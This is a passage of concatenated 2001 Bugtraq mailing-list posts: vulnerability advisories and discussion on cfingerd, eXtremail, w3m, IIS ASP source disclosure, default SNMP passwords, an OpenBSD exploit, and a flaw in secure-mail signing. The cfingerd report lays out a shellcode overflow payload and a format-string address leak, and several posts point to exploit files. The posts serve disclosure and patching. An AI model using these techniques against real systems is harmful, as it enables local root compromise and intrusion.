can and I have written exploits to re-produce not only valid input, but valid cookies and referer data all in the same instant. The victim didn't even need to click a link - they just opened their webmail and the application was instantly compromised - I had their cookies, the URL data and the referer all rolled into one. The webmail was compromised because my exploit successfully reproduced all three of your security stages. Every single "crack" out there - from brute forcing passwords to overruning buffers is dependant upon one thing: Improper validation of user supplied or manipulated data. If you decide to treat the Referer as anything other than what it is, untrustworthy user data, you do so at your peril. > - folks legitiately disagreeing on the number of user who might be >locked out by a Referer check. Those that check the referer for purposes beyond statistical or marketing needs are just wasting time. It can not and will not make the data any safer or more trustworthy. CDI The Web Master's Net http://www.thewebmasters.net/ "I would imagine even a trained MSCE-monkey can run a virus scan... OW! What the hell? Ack! Help! Idealism is biting me on the ass! Get it off! Get it off!" -- Andrew Boring in the Monastery
RE: [RHSA-2001:078-05] Format string bug fixed
"Mayers, Philip J" <[EMAIL PROTECTED]> said: > That's great - but did you even *bother* to check if the update works on > RedHat 7.0? > > *Wonderful* - you've shipped an update that no-one can apply, unless they > update their OpenSSL package (an update you don't provide). Doubtless you > built the RPM on RedHat 7.1, which has OpenSSL 0.9.6 and libcrypto.so.1 > > I like RedHat, but this is the third time you've done something like this in > recent months: > I have to agree with Philip. I like Red Hat too but the updates are getting slow and messy. An example is the mod_php package shipped with Red Hat 7.0, which has flawed url-encoded form handling and has never been fixed, even though two bug reports have been filed on Bugzilla about it. I emailed Red Hat directly to ask about status - there's a newer package on Rawhide but it would mean converting pretty much *everything* to Rawhide - and didn't even receive an autoresponse, never mind an answer. The mod_perl package is also missing CPAN distributions for embedding Perl in Apache configuration files, which is just a silly oversight. This affects me badly becuase I run Red Hat on three remote machines and one local development machine. I'd *like* to keep these machines as stock as possible to take full advantage of the Red Hat Network that Red Hat are so keen to tell me about, but it's proving impossible. If it was Red Hat 5x or maybe even 6x I could probably understand it, but this is the previous release in the same primary version. It's not on. I'm beginning to wonder if the profits are going to Red Hat's head... :) adam
Re: ISS Security Advisory: Wired-side SNMP WEP key exposure in 802.11b Access Points
> If i remeber correctly arent the lucent access point products root/snmp write and read access products passwd "public" ? I think you need to enable snmp on the lucent box though... you can user their windows client and plug in "public" and your in... Matt >
Recent OpenBSD 2.8/2.9 Exploit - stephanie patched kernels unaffected
In testing the recent obsd exploit by Georgi Guninski out, I have found out that my OpenBSD 2.8 box was not vulnerable. I have come to the conclusion that those boxes with the stephanie kernel patches by Mike Schiffman and doe are not vulnerable to this exploit, at least without modifying the exploit itself. My box has extremely anally granular file access control, however I ran this exploit using my account with full permissions, and I was in the tpe_adm group. I imagine that the symlink restrictions prevent the exploit from working. Workarounds: >From what I read, the stephanie patches do not have hard link restrictions. However, on my box /tmp is its own partition (duh), therefore not allowing me to do a cross-device link. I don't have any obsd boxes without /tmp on its own partition to test this out, but it may be a workaround or at least a place to start. Re-write the exploit to not use the /tmp symlinks. I'm also sure there is some way to circumvent the symlink restrictions in place. In any case, I am working on a way around this, but at least with those patches in place, the exploit is "script-kiddie-proof." In other words, even Jeff King with his elite EXPN warez couldn't exploit it. For those not familiar to the Stephanie patch, you can read more about it and download it at: http://www.packetfactory.net/Projects/Stephanie/ Congrats to route and doe for coming up with a patch to a hole not yet discovered =]. -james
cfingerd local vulnerability (possibly root)
Hi,
I sent this mail 2 weeks ago, but still didn't receive a reply.
Neither did the cfingerd authors change anything on their
site (http://www.infodrom.ffis.de/projects/cfingerd/).
So I will do my duty and report this on bugtraq.
I didn't check versions prior to cfingerd 1.4.3, but I suppose they are vulnerable as
well.
A quick fix is to disable the ALLOW_LINE_PARSING option.
I attached my mail to the maintainer of cfingerd, at the end of this mail.
greets,
-- Steven
-- Forwarded message --
Date: Thu, 7 Jun 2001 09:22:59 +0200 (CEST)
From: Steven Van Acker <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Subject: cfingerd bug(s)
Hi,
I hope this is the right address because I couldn't find any other one.
When the option ALLOW_LINE_PARSING is set (and this seems to be by default,
each user can specify what cfingerd returns to the querying person.
The problem is situated in util.c, line 181-182:
while((line[pos] != ' ') && (!done)) {
command[newpos] = line[pos];
This while loop does not check whether the end of the buffer "command" has been
reached.
(The buffer is 80 chars long.)
This leads to a buffer overflow.
Even more alarming is that it can lead to a local root exploit, because cfingerd is
allowed to run as root,
and it doesn't seem to drop the privileges when it performs that while loop. (Correct
me if I'm wrong,
I didn't really check thoroughly because I have to study for my exams.)
$<80 chars><5*sizeof(int)>
By inserting this in ~/.nofinger , and storing the shellcode in the 80 chars buffer,
it is possible to execute usersupplied code.
The value of displine is required because of the free(displine) on line 303.
This value can be determined by another bug in the same file at line 301:
printf(displine);
Which is a standard format string bug.
$center %s %p
By inserting this into ~/.nofinger, the second value printed will be the address of
displine.
Of course, this format string bug could be exploited as well, but it's more difficult
than the one above.
To fix this (you probably know it already):
on line 181:
while((newpos < 80) && (line[pos] != ' ') && (!done)) {
^
on line 301:
printf("%s",displine);
^
I hope this can help you.
Greets,
-- Steven Van Acker <[EMAIL PROTECTED]>
--
"Nuclear war can ruin your whole compile."
-- Karl Lehenbauer
Re: suid scotty (ntping) overflow (fwd)
On Thu, Jun 21, 2001 at 10:55:48AM -0400, Larry W. Cashdollar wrote: > > This has circulated on vuln-dev not sure if it made it here yet. Vendor > has been notified and released a fixed version 2.1.11. > > My exploit: > http://vapid.dhs.org/ntping_exp.c > > There is a much better exploit out there, but I am not sure if I have > permission to distribute it. So I will leave that to the author. Curious that they didn't respond when I told them about this last August. The port has been disabled in FreeBSD since then, but I kept on forgetting about it which is why we never followed up with an advisory. Kris PGP signature
Re: [SNS Advisory No.32] w3m malformed MIME header Buffer Overflow Vulnerability
Hi, Quoting Jim Knoble ([EMAIL PROTECTED]): > Some information in English is available here: > http://mi.med.tohoku.ac.jp/~satodai/w3m-dev-en/200106.month/536.html > Can anyone confirm that the patch there is appropriate? The patch there is appropriate. Greets, Robert -- Linux Generation encrypted mail preferred. finger [EMAIL PROTECTED] for my GnuPG/PGP key. Grues are everywhere man! They're like starbucks! PGP signature
Re: [SNS Advisory No.32] w3m malformed MIME header Buffer Overflow Vulnerability
On Thu 2001-06-21 (12:13), Jim Knoble wrote: > Some information in English is available here: > > http://mi.med.tohoku.ac.jp/~satodai/w3m-dev-en/200106.month/536.html > > Can anyone confirm that the patch there is appropriate? I asked Fumitoshi UKAI (Debian's w3m maintainer), he pointed me to his correction on http://mi.med.tohoku.ac.jp/~satodai/w3m-dev-en/200106.month/537.html which acording to him also is in w3m 0.2.1-4.deb's source package. -- MfG/best regards, helmut springer "Freedom's just another word for nothing left to lose"
eXtremail Remote Format String ('s)
Bugtraq readers, eXtremail is a free integrated pop3/smtpd mail daemon for Linux (x86), although it is free it is closed sourced software. It has been found that the majority of the newer versions are vulnerable to a remotely exploitable format string condition. The following versions are confirmed to be vulnerable to this condition: eXtremail v1.1.5 eXtremail v1.1.6 eXtremail v1.1.7 eXtremail v1.1.8 eXtremail v1.1.9 Note: Version 1.1.3 is also presumed to be vulnerable but that version was not available for testing, although I have strong reason to assume that it is. The format string problem is located in the flog() function, and is caused by the use of user defined data as the format string for an fprintf() statement. This problem can be exploited remotely to yield remote root privileges, through sending appropriately constructed strings as the arguments to the following commands: Smtpd - HELO / EHLO / MAIL FROM:<@> / RCPT TO:<@> Pop3 - USER (+ others requiring a suitable login). This issue has been patched as of version 1.1.10, it is advisable that current or prospective users download this version as soon as possible. This is obtainable from the eXtremail homepage found at http://www.extremail.com Exploit code attached Yours Sincerly. mu-b ___ mu-b (µb) ([EMAIL PROTECTED]) http://www.digit-labs.org "Like German Tourists, the stupid are everywhere" -Arnold 'Judas' Rimmer - Red Dwarf BBC (c) extremail-exp.c
crypto flaw in secure mail standards
All current secure-mail standards specify, as their "high- security" option, a weak use of the public-key sign and encrypt operations. On Thursday the 28th of this month, I'll present my findings and my proposed repairs of the protocols, at the Usenix Technical Conference here in Boston: http://www.usenix.org/events/usenix01/usenix01.pdf Citation: Don Davis, "Defective Sign & Encrypt in S/MIME, PKCS#7, MOSS, PEM, PGP, and XML." To appear in Proc. Usenix Tech. Conf. 2001, Boston. June 25-30, 2001. A short summary: All current secure-mail standards have a significant cryptographic flaw. There are several standard ways to send and read secure e-mail. The most well-known secure mail systems are PGP and S/MIME. All current public- key-based secure-mail standards have this flaw. Here are some examples of the flaw in action: Suppose Alice and Bob are business partners, and are setting up a deal together. Suppose Alice decides to call off the deal, so she sends Bob a secure-mail message: "The deal is off." Then Bob can get even with Alice: * Bob waits until Alice has a new deal in the works with Charlle; * Bob can abuse the secure e-mail protocol to re-encrypt and resend Alice's message to Charlie; * When Charlie receives Alice's message, he'll believe that the mail-security features guarantee that Alice sent the message to Charlie. * Charlie abandons his deal with Alice. Suppose instead that Alice & Bob are coworkers. Alice uses secure e-mail to send Bob her sensitive company-internal sales plan. Bob decides to get his rival Alice fired: * Bob abuses the secure e-mail protocol to re-encrypt and resend Alice's sales-plan, with her digital signature, to a rival company's salesman Charlie. * Charlie brags openly about getting the sales plan from Alice. When he's accused in court of stealing the plan, Charlie presents Alice's secure e-mail as evidence of his innocence. Surprisingly, standards-compliant secure-mail clients will not detect these attacks. -- Abstract Simple Sign & Encrypt, by itself, is not very secure. Cryptographers know this well, but application programmers and standards authors still tend to put too much trust in simple Sign-and-Encrypt. In fact, every secure e-mail protocol, old and new, has codified naïve Sign & Encrypt as acceptable security practice. S/MIME, PKCS#7, PGP, OpenPGP, PEM, and MOSS all suffer from this flaw. Similarly, the secure document protocols PKCS#7, XML- Signature, and XML-Encryption suffer from the same flaw. Naïve Sign & Encrypt appears only in file-security and mail-security applications, but this narrow scope is becoming more important to the rapidly-growing class of commercial users. With file- and mail-encryption seeing widespread use, and with flawed encryption in play, we can expect widespread exposures. In this paper, we analyze the naïve Sign & Encrypt flaw, we review the defective sign/encrypt standards, and we describe a comprehensive set of simple repairs. The various repairs all have a common feature: when signing and encryption are combined, the inner crypto layer must somehow depend on the outer layer, so as to reveal any tampering with the outer layer. Once I've presented the paper, I'll make this link live: http://world.std.com/~dtd/sign_encrypt/sign_encrypt7.ps - don davis, boston http://world.std.com/~dtd -
[VIGILANTE-2001001] ASP source code retrieved with Unicode extension
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 http://www.vigilante.com/inetsecurity/advisories/VIGILANTE-20010001.htm Title: ASP source code retrieved with Unicode extension Advisory Code: VIGILANTE-2001001 Author: Hack Kampbjørn Release Date: 2001-06-22. System affected: Windows NT4 + IIS4 + sp3 (on FAT) Windows 2000 Server (on FAT) Windows 2000 Server + sp2 (on FAT) Systems not affected: Windows NT4 + IIS4 + sp3 (on NTFS) Windows 2000 Server (on NTFS) Windows 2000 Server + sp2 (on NTFS) The problem: Active Server Pages (ASP) are web scripts that are executed on the Internet Information Server (IIS) and the result is send to the user. IIS determines if a file is an ASP script or not by the .asp extension. With Unicode there are many ways the asp extension can be encoded. On FAT file systems some of them will not be recognized as an ASP script by IIS and executed on the server but instead IIS will disclouse the source code of the script. Vendor status: Microsoft contacted 2001-05-28 and responded the same day: "The Microsoft Security Response Center has investigated the report, but we note that the problem as reported would only affect an IIS server that has been configured to use a FAT volume. However, by design, FAT doesn't provide a security mechanism, and it's never an appropriate file system to use on a production web server. Instead, as discussed in Microsoft's best practices guides and security checklists (http://www.microsoft.com/technet/security/tools.asp), production servers should always use NTFS volumes. The reported problem does not affect systems using NTFS". Vulnerability Assessment: A test-case to detect this vulnerability was added to SecureScan NX on June 22, 2001 Fix: As a workaround convert the file system to NTFS. And consider removing reading access right for the IUSR_ from ASP scripts (only giving IUSR_ execute rights) In general follow Microsoft's Security Best Practices: http://www.microsoft.com/technet/security/bestprac.asp Internet Information Server 4.0 Security Checklist: http://www.microsoft.com/technet/security/iischk.asp or Secure Internet Information Services 5 Checklist: http://www.microsoft.com/technet/security/iis5chk.asp Copyright VIGILANTe.com, Inc. 2001-06-22 Disclaimer: The information within this document may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any consequences whatsoever arising out of or in connection with the use or spread of this information. Any use of this information lays within the user's responsibility. Feedback: Please send suggestions, updates, and comments to [EMAIL PROTECTED] VIGILANTe Vulnerability Disclosure Policy: http://www.vigilante.com/inetsecurity/advisories/vulnerability_disclosure_po licy.htm -BEGIN PGP SIGNATURE- Version: PGP 7.0.1 iQA/AwUBOzMSWjd8ND1g89RXEQJf6gCeJHpFjB633ecTsNWPySsy6iCiJokAnAjE uiYv253sm6J+YSxw9FpVRufl =kymm -END PGP SIGNATURE- VIGILANTe.com NOTICE - AUTOMATICALLY INSERTED The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. Any opinions expressed in this email are those of the individual and not necessarily the Company. If you receive this transmission in error, please email to [EMAIL PROTECTED], including a copy of this message. Please then delete this email and destroy any copies of it. >> DISCLAIMER END <<<
